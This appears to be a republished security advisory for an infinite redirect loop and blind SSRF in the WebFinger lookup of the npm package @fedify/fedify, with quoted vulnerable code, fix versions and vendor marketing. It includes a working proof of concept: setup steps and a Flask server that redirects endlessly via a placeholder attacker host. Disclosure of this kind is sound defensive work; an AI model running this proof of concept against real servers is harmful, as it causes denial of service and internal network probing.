GHSA-c59p-wq67-24wx
MEDIUMInfinite loop and Blind SSRF found inside the Webfinger mechanism in @fedify/fedify
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@fedify/fedifynpmDescription
Summary
This vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service. Moreover, this issue can also be maneuvered into performing a Blind SSRF attack.
Details
The Webfinger endpoint takes a remote domain for checking accounts as a feature, however, as per the ActivityPub spec (https://www.w3.org/TR/activitypub/#security-considerations), on the security considerations section at B.3, access to Localhost services should be prevented while running in production.
The lookupWebFinger function, responsible for returning an actor handler for received actor objects from a remote server, can be abused to perform a Denial of Service (DoS) and Blind SSRF attacks while attempting to resolve a malicious actor’s object. On Fedify, two client-facing functions implement the lookupWebFinger function- getActorHandle, and lookupObject, which are both used as a wrapper for the vulnerable lookup function. As the lookupObject function is implemented only for CLI usage, we won’t focus our PoC and explanation on it, but it is still vulnerable in the same way getActorHandle is.
The getActorHandle function is a wrapper function for the getActorHandleInternal function (both present at /src/vocab/actor.ts):
async function getActorHandleInternal(
actor: Actor | URL,
options: GetActorHandleOptions = {},
): Promise<`@${string}@${string}` | `${string}@${string}`> {
const actorId = actor instanceof URL ? actor : actor.id;
if (actorId != null) {
const result = await lookupWebFinger(actorId, {
userAgent: options.userAgent,
tracerProvider: options.tracerProvider,
});
if (result != null) {
const aliases = [...(result.aliases ?? [])];
if (result.subject != null) aliases.unshift(result.subject);
for (const alias of aliases) {
const match = alias.match(/^acct:([^@]+)@([^@]+)$/);
if (match != null) {
const hostname = new URL(`https://${match[2]}/`).hostname;
if (
hostname !== actorId.hostname &&
!await verifyCrossOriginActorHandle(
actorId.href,
alias,
options.userAgent,
options.tracerProvider,
)
) {
continue;
}
return normalizeActorHandle(`@${match[1]}@${match[2]}`, options);
}
}
}
}
if (
!(actor instanceof URL) && actor.preferredUsername != null &&
actor.id != null
) {
return normalizeActorHandle(
`@${actor.preferredUsername}@${actor.id.host}`,
options,
);
}
throw new TypeError(
"Actor does not have enough information to get the handle.",
);
}
The actorId parameter containing a URL of the actor ID sinks into the lookupWebFinger function which is a wrapper for the lookupWebFingerInternal:
async function lookupWebFingerInternal(
resource: URL | string,
options: LookupWebFingerOptions = {},
): Promise<ResourceDescriptor | null> {
if (typeof resource === "string") resource = new URL(resource);
let protocol = "https:";
let server: string;
if (resource.protocol === "acct:") {
const atPos = resource.pathname.lastIndexOf("@");
if (atPos < 0) return null;
server = resource.pathname.substring(atPos + 1);
if (server === "") return null;
} else {
protocol = resource.protocol;
server = resource.host;
}
let url = new URL(`${protocol}//${server}/.well-known/webfinger`);
url.searchParams.set("resource", resource.href);
while (true) {
logger.debug(
"Fetching WebFinger resource descriptor from {url}...",
{ url: url.href },
);
let response: Response;
try {
response = await fetch(url, {
headers: {
Accept: "application/jrd+json",
"User-Agent": typeof options.userAgent === "string"
? options.userAgent
: getUserAgent(options.userAgent),
},
redirect: "manual",
});
} catch (error) {
logger.debug(
"Failed to fetch WebFinger resource descriptor: {error}",
{ url: url.href, error },
);
return null;
}
if (
response.status >= 300 && response.status < 400 &&
response.headers.has("Location")
) {
url = new URL(
response.headers.get("Location")!,
response.url == null || response.url === "" ? url : response.url,
);
continue;
}
if (!response.ok) {
logger.debug(
"Failed to fetch WebFinger resource descriptor: {status} {statusText}.",
{
url: url.href,
status: response.status,
statusText: response.statusText,
},
);
return null;
}
try {
return await response.json() as ResourceDescriptor;
} catch (e) {
if (e instanceof SyntaxError) {
logger.debug(
"Failed to parse WebFinger resource descriptor as JSON: {error}",
{ error: e },
);
return null;
}
throw e;
}
}
}
The function takes the actorId parameter containing the actor ID URL, extracts the scheme and uses the rest of the URL (host+port+path) directly inside a hard-coded Webfinger URL address which in turn sinks into a fetch request.
On the fetch request, the redirect attribute is set to “manual” preventing automated redirects. However, redirects are still handled using custom code that loops over responses and re-fetching the URL found inside the “Location” header until receiving a valid response or an error occurs (loop keeps until 300>status code>400).
This custom redirect implementation contains multiple issues: 1.The redirect loop is endless ( while(true) loop ) without any iteration limiting, allowing attackers to perform DoS via endless redirecting. 2. A Blind SSRF attack to any URL, with arbitrary Host, Port and Path is possible via the current custom redirect implementation. 3. As the redirect handler is a custom one, it breaches the security mechanisms presented by the native redirect handler of fetch - allowing the attacker to redirect to different schemes such as data or file schemes.
In order to successfully perform any of the attacks described above, an attacker needs to create a federated app which presents a malicious actor object, containing an actor ID URL of a second server which performs a recursive redirect to itself, or a URL containing an internal resource.
PoC
- In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https://github.com/dahlia/microblog.
- We will create two machines, victim and attacker, each one on a different server with different domains.
Victim Machine
- Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
- Install a Deno server:
curl -fsSL https://deno.land/install.sh | shsource ~/.bashrcdeno --version #check deno is working - Pull the git repository of the victim blog app:
git clone https://github.com/dahlia/fedify.git - Modify the federation object to remove signature checks for the sake of easy testing: On file /examples/blog/federation/mod.ts edit the createFederation<void> object the following attribute: skipSignatureVerification: true.
- Change into the blog app directory ( /examples/blog ) and run the app:
deno task preview - Surf to the application on the browser, and register a user on the app.
Attacker Machine
- Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
- Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bashsource ~/.bashrcnvm list-remote - Install the latest stable version:
nvm install {latest_ver} #for example: v20.10.0source ~/.bashrcnpm -v #check it worksnode -v #check it works - Download the attacker app repository:
git clone https://github.com/dahlia/microblog.git - Disable request signature validations: Edit the /src/federation.ts file and add a skipSignatureVerification: true attribute to the createFederation object.
- Modify the /src/federation.ts file and tamper with the Person object on the actor dispatcher ( setActorDispatcher("/users/{identifier}" ) - change the actor ID attribute “id: ctx.getActorUri(identifier)” into “id: new URL(‘http://<ATTACKER_MACHINE_DOMAIN>:1337/users/enterloop’)”.
- Install python flask and create the Python Flask redirect server:
apt updateapt install python3-flask
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/health')
def health():
return "hello", 200
@app.route('/.well-known/webfinger')
def ssrfinger():
return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")
@app.route('/endlessloop')
def endlessloop():
return redirect("http://<ATTACKER_MACHINE_DOMAIN>:1337/endlessloop")
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0' ,port=1337)
- Run the python server and attempt to reach the “/health” path to see the server functions as expected.
- Read the README.txt file on the attacker app and follow the instructions on how to execute the app.
- Surf the app on the browser and attempt to follow the federated user on the victim’s machine.
- Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).
Impact
- Implement a limiting stop condition for the endless loop to prevent infinite loops.
- Validate the scheme while performing a manual redirection handler.
- For each web resource (for the lookupWebFinger function and also URLs found on the “Location” header inside the loop) use the “validatePublicUrl” function to verify that it is not targeting a local resource.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @fedify/fedify | ≥ 1.0.13&&< 1.0.14 | 1.0.14 |
| 📦npm | @fedify/fedify | ≥ 1.1.10&&< 1.1.11 | 1.1.11 |
| 📦npm | @fedify/fedify | ≥ 1.2.10&&< 1.2.11 | 1.2.11 |
| 📦npm | @fedify/fedify | ≥ 1.3.3&&< 1.3.4 | 1.3.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @fedify/fedify. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @fedify/fedify to 1.0.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c59p-wq67-24wx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-c59p-wq67-24wx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-c59p-wq67-24wx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c59p-wq67-24wx in your dependencies?
O3 detects GHSA-c59p-wq67-24wx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.